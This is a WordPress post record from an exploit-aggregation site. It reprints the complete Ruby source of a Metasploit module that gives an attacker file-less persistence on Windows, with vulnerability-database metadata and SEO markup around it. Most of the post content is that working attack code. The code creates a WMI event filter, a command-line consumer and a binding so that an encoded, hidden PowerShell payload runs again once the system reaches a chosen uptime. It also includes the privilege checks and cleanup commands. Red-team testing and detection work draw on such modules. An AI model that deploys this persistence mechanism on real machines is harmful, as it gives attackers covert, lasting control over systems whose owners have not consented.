{"id":35727,"date":"2026-01-14T13:44:43","date_gmt":"2026-01-14T13:44:43","guid":{"rendered":"http:\/\/localhost\/?p=35727"},"modified":"2026-01-14T13:44:43","modified_gmt":"2026-01-14T13:44:43","slug":"wmi-event-subscription-logon-timer-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=35727","title":{"rendered":"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-14T19:32:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter that will trigger the payload after the system has a certain uptime. Payloads will trigger every minute until the set end time&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-14T18:54:18&#8243;,&#8221;modified&#8221;:&#8221;2026-01-14T18:54:18&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;WMI Event Subscription Logon Timer Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = NormalRanking\\n\\n  include Msf::Post::Windows::Powershell\\n  include Msf::Exploit::Powershell\\n  include Post::Windows::Priv\\n  include Msf::Post::File\\n  include Msf::Exploit::Local::Persistence\\n  include Msf::Exploit::Deprecated\\n  moved_from &#8216;exploits\/windows\/local\/wmi_persistence&#8217; # previously the \\&#8221;LOGON\\&#8221; wmi_persistence method\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;WMI Event Subscription Logon Timer Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter that\\n          will trigger the payload after the system has a certain uptime. Payloads will trigger every minute until the set end time.\\n\\n          Additionally a custom command can be specified to run once the trigger is\\n          activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a\\n          high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Nick Tyrer \\u003c@NickTyrer\\u003e&#8217;, # original module\\n          &#8216;h00die&#8217; # docs, persistence mixin, pshell cleanup\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Privileged&#8217; =\\u003e true,\\n        &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n        &#8216;SessionTypes&#8217; =\\u003e [&#8216;meterpreter&#8217;],\\n        &#8216;Targets&#8217; =\\u003e [[&#8216;Windows&#8217;, {}]],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_X64, ARCH_X86, ARCH_AARCH64],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2017-06-06&#8217;,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.blackhat.com\/docs\/us-15\/materials\/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/learn-powershell.net\/2013\/08\/14\/powershell-and-events-permanent-wmi-event-subscriptions\/&#8217;],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]\\n        ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [EVENT_DEPENDENT, REPEATABLE_SESSION],\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [CONFIG_CHANGES, IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;CLASSNAME&#8217;,\\n                    [true, &#8216;WMI event class name. (Default: UPDATER)&#8217;, &#8216;UPDATER&#8217; ]),\\n      OptInt.new(&#8216;SYSTEM_UPTIME_START&#8217;, [true, &#8216;System uptime to start the trigger (In seconds). (Default: 240).&#8217;, 240 ]), # 4min\\n      OptInt.new(&#8216;SYSTEM_UPTIME_END&#8217;, [true, &#8216;System uptime to end the trigger (In seconds). (Default: 325).&#8217;, 325 ]), # 5min 25sec\\n    ])\\n\\n    register_advanced_options(\\n      [\\n        OptString.new(&#8216;CustomPsCommand&#8217;,\\n                      [false, &#8216;Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)&#8217;, false, ]),\\n      ]\\n    )\\n\\n    deregister_options(&#8216;WritableDir&#8217;)\\n  end\\n\\n  def check\\n    return CheckCode::Safe(&#8216;This module requires powershell to run&#8217;) unless have_powershell?\\n\\n    return CheckCode::Safe(&#8216;This module requires admin privs to run&#8217;) unless is_admin?\\n\\n    return CheckCode::Safe(&#8216;This module cannot run as System&#8217;) if is_system?\\n\\n    return CheckCode::Safe(&#8216;This module requires UAC to be bypassed first&#8217;) unless is_high_integrity?\\n\\n    uptime = windows_uptime\\n    vprint_status(\\&#8221;System uptime: #{uptime}s\\&#8221;)\\n    return CheckCode::Safe(\\&#8221;SYSTEM_UPTIME_START (#{datastore[&#8216;SYSTEM_UPTIME_START&#8217;]}) is less than the current system uptime: #{uptime}\\&#8221;) if uptime \\u003e datastore[&#8216;SYSTEM_UPTIME_START&#8217;]\\n    return CheckCode::Safe(\\&#8221;SYSTEM_UPTIME_START (#{datastore[&#8216;SYSTEM_UPTIME_START&#8217;]}) must be less than SYSTEM_UPTIME_END: #{datastore[&#8216;SYSTEM_UPTIME_END&#8217;]}\\&#8221;) if datastore[&#8216;SYSTEM_UPTIME_START&#8217;] \\u003e datastore[&#8216;SYSTEM_UPTIME_END&#8217;]\\n\\n    CheckCode::Appears(&#8216;Likely exploitable&#8217;)\\n  end\\n\\n  def windows_uptime\\n    # Run PowerShell to get boot time in WMI format\\n    boot_time_str = cmd_exec(&#8216;powershell -Command \\&#8221;(gcim Win32_OperatingSystem).LastBootUpTime | Out-String\\&#8221;&#8216;).strip\\n\\n    # Try to parse PowerShell localized format (e.g. \\&#8221;Thursday, November 20, 2025 7:45:59 PM\\&#8221;)\\n    begin\\n      boot_time = Time.parse(boot_time_str)\\n    rescue ArgumentError\\n      # Fallback: try WMI format like \\&#8221;20251120194559.500000-300\\&#8221;\\n      if boot_time_str =~ \/^(\\\\d{4})(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\\\\.\\\\d+\\\\s*([+-]\\\\d{3})?\/\\n        year = ::Regexp.last_match(1)\\n        month = ::Regexp.last_match(2)\\n        day = ::Regexp.last_match(3)\\n        hour = ::Regexp.last_match(4)\\n        min = ::Regexp.last_match(5)\\n        sec = ::Regexp.last_match(6)\\n        tz_offset = ::Regexp.last_match(7)\\n        offset_hours = (tz_offset.to_i \/ 60)\\n        offset = format(&#8216;%+03d:00&#8217;, offset_hours)\\n        boot_time = Time.new(year, month, day, hour, min, sec, offset)\\n      else\\n        vprint_error(\\&#8221;Unable to parse boot time: #{boot_time_str.inspect}\\&#8221;)\\n        return 0\\n      end\\n    end\\n\\n    (Time.now &#8211; boot_time).round\\n  end\\n\\n  def install_persistence\\n    print_status(&#8216;Installing Persistence&#8230;&#8217;)\\n\\n    psh_exec(subscription_logon)\\n    print_good &#8216;Persistence installed!&#8217;\\n    # wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell\\n    # source https:\/\/support.microsoft.com\/en-us\/topic\/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d\\n    # @clean_up_rc \\u003c\\u003c \\&#8221;execute -H -f wmic -a \\\\\\&#8221;\/NAMESPACE:\\\\\\\\\\\\\\&#8221;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\root\\\\\\\\\\\\\\\\subscription\\\\\\\\\\\\\\&#8221; PATH __EventFilter WHERE Name=\\\\\\\\\\\\\\&#8221;#{name_class}\\\\\\\\\\\\\\&#8221; DELETE\\\\\\&#8221;\\\\n\\&#8221;\\n    # @clean_up_rc \\u003c\\u003c \\&#8221;execute -H -f wmic -a \\\\\\&#8221;\/NAMESPACE:\\\\\\\\\\\\\\&#8221;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\root\\\\\\\\\\\\\\\\subscription\\\\\\\\\\\\\\&#8221; PATH CommandLineEventConsumer WHERE Name=\\\\\\\\\\\\\\&#8221;#{name_class}\\\\\\\\\\\\\\&#8221; DELETE\\\\\\&#8221;\\\\n\\&#8221;\\n    # @clean_up_rc \\u003c\\u003c \\&#8221;execute -H -f wmic -a \\\\\\&#8221;\/NAMESPACE:\\\\\\\\\\\\\\&#8221;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\root\\\\\\\\\\\\\\\\subscription\\\\\\\\\\\\\\&#8221; PATH __FilterToConsumerBinding WHERE Filter=&#8217;__EventFilter.Name=\\\\\\\\\\\\\\&#8221;#{name_class}\\\\\\\\\\\\\\&#8221;&#8216; DELETE\\\\\\&#8221;\\&#8221;\\n    name_class = datastore[&#8216;CLASSNAME&#8217;]\\n    @clean_up_rc \\u003c\\u003c %(execute -H -f powershell -a \\&#8221;-Command \\\\\\\\\\\\\\&#8221;Get-CimInstance -Namespace root\/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq &#8216;#{name_class}&#8217; } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\\\\\\\\\\\\&#8221;\\&#8221;\\\\n)\\n    @clean_up_rc \\u003c\\u003c %(execute -H -f powershell -a \\&#8221;-Command \\\\\\\\\\\\\\&#8221;Get-CimInstance -Namespace root\/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq &#8216;#{name_class}&#8217; } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\\\\\\\\\\\\&#8221;\\&#8221;\\\\n)\\n    @clean_up_rc \\u003c\\u003c %(execute -H -f powershell -a \\&#8221;-Command \\\\\\\\\\\\\\&#8221;Get-CimInstance -Namespace root\/subscription -ClassName __FilterToConsumerBinding WHERE Filter=&#8217;__EventFilter.Name=\\\\\\\\\\\\\\&#8221;#{name_class}&#8217; } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\\\\\\\\\\\\&#8221;\\&#8221;\\\\n)\\n  end\\n\\n  def build_payload\\n    if datastore[&#8216;CustomPsCommand&#8217;]\\n      script_in = datastore[&#8216;CustomPsCommand&#8217;]\\n      compressed_script = compress_script(script_in)\\n      encoded_script = encode_script(compressed_script)\\n      generate_psh_command_line(noprofile: true, windowstyle: &#8216;hidden&#8217;, encodedcommand: encoded_script)\\n    else\\n      cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)\\n    end\\n  end\\n\\n  def subscription_logon\\n    command = build_payload\\n    class_name = datastore[&#8216;CLASSNAME&#8217;]\\n    \\u003c\\u003c-HEREDOC\\n    $Filter = Set-WmiInstance -Namespace root\/subscription -Class __EventFilter -Arguments @{EventNamespace = &#8216;root\/cimv2&#8217;; Name = \\\\\\&#8221;#{class_name}\\\\\\&#8221;; Query = \\\\\\&#8221;SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA &#8216;Win32_PerfFormattedData_PerfOS_System&#8217; AND TargetInstance.SystemUpTime \\u003e= #{datastore[&#8216;SYSTEM_UPTIME_START&#8217;]} AND TargetInstance.SystemUpTime \\u003c #{datastore[&#8216;SYSTEM_UPTIME_END&#8217;]}\\\\\\&#8221;; QueryLanguage = &#8216;WQL&#8217;}\\n    $Consumer = Set-WmiInstance -Namespace root\/subscription -Class CommandLineEventConsumer -Arguments @{Name = \\\\\\&#8221;#{class_name}\\\\\\&#8221;; CommandLineTemplate = \\\\\\&#8221;#{command}\\\\\\&#8221;}\\n    $FilterToConsumerBinding = Set-WmiInstance -Namespace root\/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}\\n    HEREDOC\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/wmi\/wmi_event_subscription_uptime.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/wmi\/wmi_event_subscription_uptime\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-14T19:32:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter that will trigger the payload after the system&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-35727","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=35727\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-14T19:32:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter that will trigger the payload after the system...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=35727\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-14T13:44:43+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35727#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35727\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME-\",\"datePublished\":\"2026-01-14T13:44:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35727\"},\"wordCount\":1307,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35727#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35727\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35727\",\"name\":\"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-14T13:44:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35727#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35727\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35727#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=35727","og_locale":"en_US","og_type":"article","og_title":"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-14T19:32:09&#8243;,&#8221;description&#8221;:&#8221;This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter that will trigger the payload after the system...","og_url":"https:\/\/zero.redgem.net\/?p=35727","og_site_name":"zero redgem","article_published_time":"2026-01-14T13:44:43+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=35727#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=35727"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME-","datePublished":"2026-01-14T13:44:43+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=35727"},"wordCount":1307,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=35727#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=35727","url":"https:\/\/zero.redgem.net\/?p=35727","name":"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-14T13:44:43+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=35727#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=35727"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=35727#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"WMI Event Subscription Logon Timer Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_UPTIME-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35727","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=35727"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35727\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=35727"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=35727"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=35727"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}